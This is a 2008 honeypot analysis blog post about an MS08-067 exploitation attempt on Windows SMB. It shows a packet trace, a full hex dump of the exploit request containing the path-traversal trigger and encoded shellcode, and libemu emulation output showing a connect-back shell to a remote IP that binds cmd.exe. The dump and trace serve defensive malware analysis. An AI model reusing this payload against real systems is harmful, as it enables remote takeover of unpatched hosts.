MS08-067 exploitation in the wild
04 Nov 2008 Tillmann Werner
(This article was originally published at http://honeytrap.mwcollect.org/msexploit.)
If you followed IT security related blogs or mailinglists lately, you are aware that a critical server service vulnerability in Microsoft operating systems was published recently. I’m not going to talk about the details here, there are great resources available elsewhere (and the “reversing the ms08-067 patch” article isn’t the only advice about exploiting holes you get on that page).
OK, what have we got this time? One of our honeytrap sensors caught an MS08-067 exploitation attempt today which we take as an example to show how to perform a quick analysis and check what it does. If you want to play along, get the (sanitized) pcap from here.
Now the first thing we would normally do is take a look at the packet trace. Some people are said to be able to decode hex SMB messages in their head - as we aren’t one of those, we might prefer the amazing wireshark (or tshark for the command line guys) that does the decoding for us. Here’s the list of packets (shortened and wrapped):
1 A -> V TCP inovaport5 > microsoft-ds [SYN] Seq=0 Win=65535 Len=0 MSS=1460
2 V -> A TCP microsoft-ds > inovaport5 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
3 A -> V TCP inovaport5 > microsoft-ds [ACK] Seq=1 Ack=1 Win=65535 Len=0
4 A -> V SMB Negotiate Protocol Request
5 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=1 Ack=138 Win=5840 Len=0
6 V -> A SMB Negotiate Protocol Response
7 A -> V SMB Session Setup AndX Request, NTLMSSP_NEGOTIATE
8 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=184 Ack=408 Win=6432 Len=0
9 V -> A SMB Session Setup AndX Response, NTLMSSP_CHALLENGE,
Error: STATUS_MORE_PROCESSING_REQUIRED
10 A -> V SMB Session Setup AndX Request, NTLMSSP_AUTH, User: \
11 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=588 Ack=706 Win=7504 Len=0
12 V -> A SMB Session Setup AndX Response
13 A -> V SMB Tree Connect AndX Request, Path: \\192.168.111.11\IPC$
14 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=772 Ack=804 Win=7504 Len=0
15 V -> A SMB Tree Connect AndX Response
16 A -> V SMB NT Create AndX Request, Path: \browser
17 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=832 Ack=910 Win=7504 Len=0
18 V -> A SMB NT Create AndX Response, FID: 0x4008
19 A -> V DCERPC Bind: call_id: 1 SRVSVC V3.0
20 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=971 Ack=1070 Win=7504 Len=0
21 V -> A DCERPC Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4280
22 A -> V SRVSVC NetPathCanonicalize request
23 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=1099 Ack=1642 Win=8580 Len=0
24 V -> A SRVSVC NetPathCanonicalize response,
Error: Unknown DOS error 0x5c455000[Long frame (8 bytes)]
25 A -> V SRVSVC NetPathCanonicalize request
26 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=1199 Ack=1894 Win=8580 Len=0
27 V -> A SRVSVC NetPathCanonicalize response,
Error: Unknown DOS error 0x5c455000[Long frame (8 bytes)]
28 A -> V SMB Close Request, FID: 0x4008
29 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=1299 Ack=1939 Win=8580 Len=0
30 V -> A SMB Close Response, FID: 0x4008
31 A -> V TCP inovaport5 > microsoft-ds [ACK] Seq=1939 Ack=1338 Win=64198 Len=0
32 V -> A TCP microsoft-ds > inovaport5 [FIN, ACK] Seq=1338 Ack=1939 Win=8580 Len=0
33 A -> V TCP inovaport5 > microsoft-ds [FIN, ACK] Seq=1939 Ack=1339 Win=64198 Len=0
34 V -> A TCP microsoft-ds > inovaport5 [ACK] Seq=1339 Ack=1940 Win=8580 Len=0
Allright, packet 19 contains a bind call for the srvsvc
API that contains the vulnerable NetPathCanonicalize
function which gets called for the first time in packet 22 and contains the following payload:
00000000 00 00 00 00 cf 00 00 00 00 00 00 00 cf 00 00 00 |................|
00000010 5c 00 41 00 5c 00 2e 00 2e 00 5c 00 2e 00 2e 00 |\.A.\.....\.....|
00000020 5c 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |\...............|
00000030 90 90 2b c9 83 e9 b8 d9 ee d9 74 24 f4 5b 81 73 |..+.......t$.[.s|
00000040 13 ba 1a cd 77 83 eb fc e2 f4 46 70 26 3a 52 e3 |....w.....Fp&:R.|
00000050 32 88 45 7a 46 1b 9e 3e 46 32 86 91 b1 72 c2 1b |2.EzF..>F2...r..|
00000060 22 fc f5 02 46 28 9a 1b 26 3e 31 2e 46 76 54 2b |"...F(..&>1.FvT+|
00000070 0d ee 16 9e 0d 03 bd db 07 7a bb d8 26 83 81 4e |.........z..&..N|
00000080 e9 5f cf ff 46 28 9e 1b 26 11 31 16 86 fc e5 06 |._..F(..&.1.....|
00000090 cc 9c b9 36 46 fe d6 3e d1 16 79 2b 16 13 31 59 |...6F..>..y+..1Y|
000000a0 fd fc fa 16 46 07 a6 b7 46 37 b2 44 a5 f9 f4 14 |....F...F7.D....|
000000b0 21 27 45 cc ab 24 dc 72 fe 45 d2 6d be 45 e5 4e |!'E..$.r.E.m.E.N|
000000c0 32 a7 d2 d1 20 8b 81 4a 32 a1 e5 93 28 11 3b f7 |2... ..J2...(.;.|
000000d0 c5 75 ef 70 cf 88 6a 72 14 7e 4f b7 9a 88 6c 49 |.u.p..jr.~O...lI|
000000e0 9e 24 e9 59 9e 34 e9 e5 1d 1f 87 c0 5e 35 dc 72 |.$.Y.4......^5.r|
000000f0 de e4 dc 49 44 96 2f 72 21 8e 10 7a 9a 88 6c 70 |...ID./r!..z..lp|
00000100 dd 26 ef e5 1d 11 d0 7e ab 1f d9 77 a7 27 e3 33 |.&.....~...w.'.3|
00000110 01 fe 5d 70 89 fe 58 2b 0d 84 10 8f 44 8a 44 58 |..]p..X+....D.DX|
00000120 e0 89 f8 36 40 0d 82 b1 66 dc d2 68 33 c4 ac e5 |[email protected]...|
00000130 b8 5f 45 cc 96 20 e8 4b 9c 26 d0 1b 9c 26 ef 4b |._E.. .K.&...&.K|
00000140 32 a7 d2 b7 14 72 74 49 32 a1 d0 e5 32 40 45 ca |2....rtI2...2@E.|
00000150 a5 90 c3 dc b4 88 cf 1e 32 a1 45 6d 31 88 6a 72 |........2.Em1.jr|
00000160 3d fd be 45 9e 88 6c e5 1d 77 41 41 41 41 41 41 |=..E..l..wAAAAAA|
00000170 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000180 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000190 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
000001a0 41 41 41 41 41 41 41 41 41 41 cc 41 00 00 00 00 |AAAAAAAAAA.A....|
000001b0 01 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00 |................|
000001c0 5c 00 00 00 01 00 00 00 01 00 00 00 |\...........|
Ah, there is the \..\..
pattern at offset 0x14 that triggers the vulnerability. And hey, there seems to be some shellcode right behind it. Allright, as usual, we get our copy of libemu’s sctest
utility out and feed it with the packet payload:
$ /opt/libemu/bin/sctest -s 169762 -gS < payload
verbose = 0
success offset = 0x00000032
hooked ExitProcess
hooked ExitThread
stepcount 169762
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x0012fe88 =>
= "ws2_32";
) = 0x71a10000;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244284;
) = 0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 66;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x0012fe74 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 37651 (port=5011);
struct in_addr sin_addr = {
unsigned long s_addr = 1116985917 (host=61.218.147.66);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0;
BOOL CreateProcess (
LPCWSTR pszImageName = 0x00000000 =>
= "gby hand;
LPCWSTR pszCmdLine = 0x0012fe68 =>
= "cmd";
LPSECURITY_ATTRIBUTES psaProcess = 0x00000000 =>
none;
LPSECURITY_ATTRIBUTES psaThread = 0x00000000 =>
none;
BOOL fInheritHandles = 1;
DWORD fdwCreate = 0;
LPVOID pvEnvironment = 0x00000000 =>
none;
LPWSTR pszCurDir = 0x00000000 =>
none;
struct LPSTARTUPINFOW psiStartInfo = 0x0012fe14 =>
struct = {
DWORD cb = 68;
LPTSTR lpReserved = 0;
LPTSTR lpDesktop = 0;
LPTSTR lpTitle = 0;
DWORD dwX = 0;
DWORD dwY = 0;
DWORD dwXSize = 0;
DWORD dwYSize = 0;
DWORD dwXCountChars = 0;
DWORD dwYCountChars = 0;
DWORD dwFillAttribute = 0;
DWORD dwFlags = 257;
WORD wShowWindow = 0;
WORD cbReserved2 = 0;
LPBYTE lpReserved2 = 0;
HANDLE hStdInput = 66;
HANDLE hStdOutput = 66;
HANDLE hStdError = 66;
};
struct PROCESS_INFORMATION pProcInfo = 0x0052f74c =>
struct = {
HANDLE hProcess = 4711;
HANDLE hThread = 4712;
DWORD dwProcessId = 4712;
DWORD dwThreadId = 4714;
};
) = -1;
DWORD WaitForSingleObject (
HANDLE hHandle = 4712;
DWORD dwMilliseconds = -1;
) = 0;
int closesocket (
SOCKET s = 66;
) = 0;
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter (
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter = 0x7c800000 =>
none;
) = 0x7c81cdda;
There we are. It’s a connectback shell which tries to reach 61.218.147.66 (actually the attacking host) at port 5011/tcp and binds the socket to a cmd.exe. This is typical bot behavior, so what we see here is most likely a spreading piece of malware. Unfortunately we’ve been to slow and the port was already closed, so we didn’t manage to catch a sample…